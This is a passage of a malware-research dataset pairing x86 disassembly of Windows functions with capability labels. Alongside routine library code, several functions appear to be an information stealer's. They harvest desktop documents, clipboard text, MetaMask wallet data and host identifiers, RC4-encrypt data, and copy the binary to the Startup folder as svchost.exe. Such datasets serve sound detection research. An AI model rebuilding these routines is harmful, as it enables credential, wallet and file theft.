joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100079f0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10025bcc], eax
je 0x10007a0d
mov eax, 0x10dd
jmp 0x10007af0
mov eax, dword [0x10025bdc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10007a8c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10007a68
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10007a68
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10006890
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.10008f11
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x10007a15
mov dword [0x10025bdc], 0
call fcn.10007170
mov ecx, dword [0x10025bd8]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10007ada
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10008f11
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10007aa4
mov dword [0x10025bd8], 0
mov dword [0x10025bcc], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10007fd0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10025bd0], 0
je 0x10007fe9
mov eax, dword [0x10025bd0]
jmp 0x10008088
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x10007ffa
xor eax, eax
jmp 0x10008088
push 8
call fcn.10008ebe
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10008052
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1000803b
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.10008f11
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10025bd0], eax
mov dword [0x10025bd4], 0
mov eax, dword [ebp - 8]
jmp 0x10008088
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1000806a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x1000801a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10025bd8]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10025bd8], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ec97
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000ecd6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ecd6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ecd6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000ecd6
cmp dword [ecx + 0x74], 0xe
jbe 0x1000ecd6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001175c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001ead0
push 0x1001eac8
push str.FlsAlloc
push 0x1f
call fcn.10011678
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011790
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c150]
call esi
jmp 0x10011796
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100117da
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001eae0
push 0x1001ead8
push str.FlsGetValue
push 0x21
call fcn.10011678
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011811
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001c150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10011819
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001eae8
push 0x1001eae0
push str.FlsSetValue
push 0x22
call fcn.10011678
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011853
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001c150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001362f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100136cc
push ebx
push esi
call fcn.100135f8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001358c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10013679
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100136cb
push edi
push eax
call fcn.1000fa0c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10013699
call fcn.1000f9d2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100136ca
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001358c
add esp, 0x20
test eax, eax
jne 0x100136b8
push edi
call fcn.1000f9d2
jmp 0x100136c0
push ebx
call fcn.1000f9d2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1001a6b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001a6dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001a6dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Hash data using sha256

Disassembly:
mov eax, 0x74
call fcn.004087e0
mov eax, dword [0x428024]
xor eax, esp
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x80]
push esi
mov esi, dword [esp + 0x7c]
push edi
test eax, eax
mov edi, 0x428cb4
push 0x70
cmovne edi, eax
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00409fd0
push dword [esp + 0x90]
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x20], 0x6a09e667
mov dword [esp + 0x24], 0xbb67ae85
mov dword [esp + 0x28], 0x3c6ef372
mov dword [esp + 0x2c], 0xa54ff53a
mov dword [esp + 0x30], 0x510e527f
mov dword [esp + 0x34], 0x9b05688c
mov dword [esp + 0x38], 0x1f83d9ab
mov dword [esp + 0x3c], 0x5be0cd19
mov dword [esp + 0x8c], 0x20
call fcn.004013b0
lea eax, [esp + 0x20]
push eax
push edi
call fcn.004010d0
lea eax, [esp + 0x28]
push 0x70
push eax
call fcn.00402580
mov ecx, dword [esp + 0xa0]
add esp, 0x28
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.00408b75
add esp, 0x74
ret
Function at 0x4025c4
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
lea eax, [ebp - 0x644]
push ebx
push esi
mov esi, 0x200
xor ebx, ebx
push esi
push ebx
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x844]
push ebx
push eax
call fcn.00409fd0
add esp, 0x24
lea eax, [ebp - 0x444]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4027c6
lea edx, [ebp - 0x444]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402624
push edi
lea edi, [ebp - 0x644]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402635
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x644]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x402652
mov eax, dword [str..]
mov dword [ecx], eax
mov al, byte [0x41f410]
mov byte [ecx + 4], al
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4027c5
xor ecx, ecx
mov al, byte [ebp + ecx - 0x444]
mov byte [ebp + ecx - 0x200], al
inc ecx
test al, al
jne 0x40268a
lea edi, [ebp - 0x200]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4026a4
mov ax, word [0x41f414]
lea edx, [ebp - 0x314]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4026bd
lea edi, [ebp - 0x200]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4026cd
mov ecx, edx
lea eax, [ebp - 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push str..txt
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x40273f
lea eax, [ebp - 0x200]
push str..doc
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x40273f
lea eax, [ebp - 0x200]
push str..rtf
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
jne 0x40273f
lea eax, [ebp - 0x200]
push str..json
push eax
call fcn.004097e0
pop ecx
pop ecx
test eax, eax
je 0x4027a8
lea eax, [ebp - 0x200]
push eax
call fcn.00403e66
pop ecx
cmp eax, 0xc350
jge 0x4027a8
mov esi, str.desktop_
lea edi, [ebp - 0x844]
lea edx, [ebp - 0x314]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402769
lea edi, [ebp - 0x844]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402779
mov ecx, edx
lea eax, [ebp - 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x844]
mov ecx, edx
push eax
push dword [ebp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00405a3b
add esp, 0xc
lea eax, [ebp - 0x340]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402688
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402c6b
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x402cc9
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x402cb0
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x402cc9
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
test eax, eax
je 0x402cc9
jmp 0x402cb3
mov ebx, dword [ebp - 4]
call dword [sym.imp.USER32.dll_CloseClipboard]
test eax, eax
je 0x402cc9
cmp esi, 0x3c
jge 0x402cc9
mov eax, ebx
cmp esi, 1
jg 0x402cce
mov eax, 0x41f3c8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402d67
Capabilities:
Check if file exists
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2fc
lea eax, [ebp - 0x108]
push ebx
push edi
push 0x105
xor ebx, ebx
push ebx
push eax
call fcn.00409fd0
add esp, 0xc
lea eax, [ebp - 0x2fc]
push 0x1f4
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push 7
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402db7
push esi
mov esi, str._svchost.exe
lea eax, [ebp - 0x108]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
pop esi
test eax, eax
jne 0x402df0
push ebx
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x2fc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop ebx
leave
ret
Function at 0x403062
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push 0xc
pop ebx
xor esi, esi
mov dword [ebp - 0xc], 0x1b0d0802
mov word [ebp - 8], 0x3709
mov ecx, esi
mov byte [ebp - 6], 0x22
mov byte [ebp - 5], bl
mov dword [ebp - 4], 0x1eb49b64
xor edx, edx
mov byte [ebp + ecx - 0x110], cl
mov eax, ecx
div ebx
mov al, byte [ebp + edx - 0xc]
mov byte [ebp + ecx - 0x210], al
inc ecx
cmp ecx, 0x100
jl 0x403090
mov ebx, esi
mov edi, esi
mov dl, byte [ebp + edi - 0x110]
movzx eax, byte [ebp + edi - 0x210]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4030db
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [ebp + ebx - 0x110]
mov byte [ebp + edi - 0x110], al
inc edi
mov byte [ebp + ebx - 0x110], dl
cmp edi, 0x100
jl 0x4030b5
mov eax, esi
cmp dword [ebp + 0x10], eax
jle 0x403174
mov ebx, dword [ebp + 0xc]
sub dword [ebp + 8], ebx
inc eax
and eax, 0x800000ff
jns 0x403115
dec eax
or eax, 0xffffff00
inc eax
mov cl, byte [ebp + eax - 0x110]
movzx edx, cl
add esi, edx
mov dword [ebp - 0x10], eax
and esi, 0x800000ff
jns 0x403134
dec esi
or esi, 0xffffff00
inc esi
mov edi, dword [ebp - 0x10]
mov al, byte [ebp + esi - 0x110]
mov byte [ebp + edi - 0x110], al
mov eax, edi
mov edi, dword [ebp + 8]
mov byte [ebp + esi - 0x110], cl
movzx eax, byte [ebp + eax - 0x110]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x110]
xor al, byte [edi + ebx]
mov byte [ebx], al
inc ebx
sub dword [ebp + 0x10], 1
mov eax, dword [ebp - 0x10]
jne 0x403106
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d1f
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
lea eax, [ebp - 0x64b]
push esi
push 0x1ff
xor esi, esi
push esi
push eax
call fcn.00409fd0
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x403e63
lea ecx, [ebp - 0x104]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403d63
push ebx
sub ecx, edx
mov esi, 0x104
mov eax, esi
sub eax, ecx
push str.GoogleChromeUser_DataDefaultLocal_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
push eax
lea eax, [ebp - 0x104]
add eax, ecx
push eax
call fcn.00404c22
lea eax, [ebp - 0x104]
push eax
push str._s.log
lea eax, [ebp - 0x348]
push esi
push eax
call fcn.00404c22
add esp, 0x1c
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403e62
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
push str._s_s
lea eax, [ebp - 0x44c]
push esi
push eax
call fcn.00404c22
mov esi, str.metamask_
lea edi, [ebp - 0x64c]
lea edx, [ebp - 0x218]
add esp, 0x14
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403e00
lea edi, [ebp - 0x64c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403e10
mov ecx, edx
lea eax, [ebp - 0x44c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x64c]
mov ecx, edx
push eax
push dword [ebp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00405a3b
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov esi, 0x104
test eax, eax
jne 0x403dc6
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x403ea1
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
mov esi, 0x200
lea eax, [ebp - 0x20c]
push esi
push 0
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x40c]
push 0
push eax
call fcn.00409fd0
mov ebx, dword [ebp + 8]
add esp, 0x18
xor ecx, ecx
push 0x32
pop eax
push 0x64
push ecx
push ecx
push ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
push eax
push 0x64
push ecx
push 0x41f298
mov byte [ebx], cl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
test ecx, ecx
jns 0x403f08
neg ecx
mov dword [ebp + 8], ecx
push edi
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x403f58
lea edx, [ebp - 0x20c]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403f31
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403f3d
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x200
cmp dword [ebp - 0xc], 0
je 0x403f9d
push 0xa
push esi
lea eax, [ebp - 0x40c]
push eax
push dword [ebp + 8]
call fcn.0040f008
lea edx, [ebp - 0x40c]
add esp, 0x10
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403f7b
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403f87
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x403fcf
cmp al, 0x61
jl 0x403fa8
cmp al, 0x7a
jle 0x403fce
cmp al, 0x41
jl 0x403fb0
cmp al, 0x5a
jle 0x403fce
cmp al, 0x30
jl 0x403fb8
cmp al, 0x39
jle 0x403fce
test al, al
je 0x403fce
mov edx, ebx
mov cl, byte [edx + 1]
mov byte [edx], cl
lea edx, [edx + 1]
test cl, cl
jne 0x403fbe
mov al, byte [ebx]
jmp 0x403fa0
inc ebx
mov al, byte [ebx]
test al, al
jne 0x403fa0
pop esi
pop ebx
leave
ret
Function at 0x405736
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x405754
mov eax, 0x200
leave
ret
push ebx
mov ebx, dword [ebp - 0x44]
mov eax, ebx
push esi
mov esi, ebx
and esi, 1
mov ecx, esi
or ecx, 2
and al, 2
mov eax, ebx
cmove ecx, esi
mov edx, ecx
or edx, 4
and al, 4
push edi
cmove edx, ecx
mov edi, 0x41000000
mov ecx, ebx
mov eax, edx
and ecx, 0x10
or eax, 0x10
test ecx, ecx
mov dword [ebp - 8], ecx
cmove eax, edx
mov edx, 0x81000000
mov ecx, eax
or ecx, 0x20
and bl, 0x20
cmove ecx, eax
mov eax, dword [ebp - 8]
test eax, eax
cmove edi, edx
or edi, ecx
test esi, esi
jne 0x4057bd
test eax, eax
mov edi, 0x41800000
mov edx, 0x81800000
cmove edi, edx
or edi, ecx
mov ebx, dword [ebp + 8]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0x28
jbe 0x40586c
xor eax, eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push 2
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0x24
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x54ad
cmp word [ebp - 4], ax
jne 0x40586c
mov ecx, dword [ebp - 8]
lea eax, [ecx + 0x34]
cmp esi, eax
jbe 0x40586c
push 0
push 0
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
cmp eax, 0x5a4d
je 0x405866
cmp eax, 0x454e
je 0x405866
cmp eax, 0x454c
je 0x405866
cmp eax, 0x4550
jne 0x40586c
or edi, 0x400000
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x405875
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40587e
mov dword [eax], esi
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x4058b1
push dword [ebp - 0x34]
push dword [ebp - 0x38]
call fcn.00406bb8
push dword [ebp - 0x2c]
mov dword [esi], eax
push dword [ebp - 0x30]
call fcn.00406bb8
push dword [ebp - 0x3c]
mov dword [esi + 4], eax
push dword [ebp - 0x40]
call fcn.00406bb8
add esp, 0x18
mov dword [esi + 8], eax
mov esi, dword [ebp + 0x18]
test esi, esi
je 0x4058dd
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call fcn.00406b5f
movzx ecx, word [ebp - 4]
add esp, 0x10
movzx eax, word [ebp - 8]
shl ecx, 0x10
or ecx, eax
mov dword [esi], ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x4060f5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x406103
xor eax, eax
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not ecx
cmp esi, 8
jb 0x4061c2
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
sub edi, 1
jne 0x40611b
pop edi
test esi, esi
je 0x4061de
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x41f958]
inc edx
sub esi, 1
jne 0x4061c6
not ecx
mov eax, ecx
pop esi
pop ebp
ret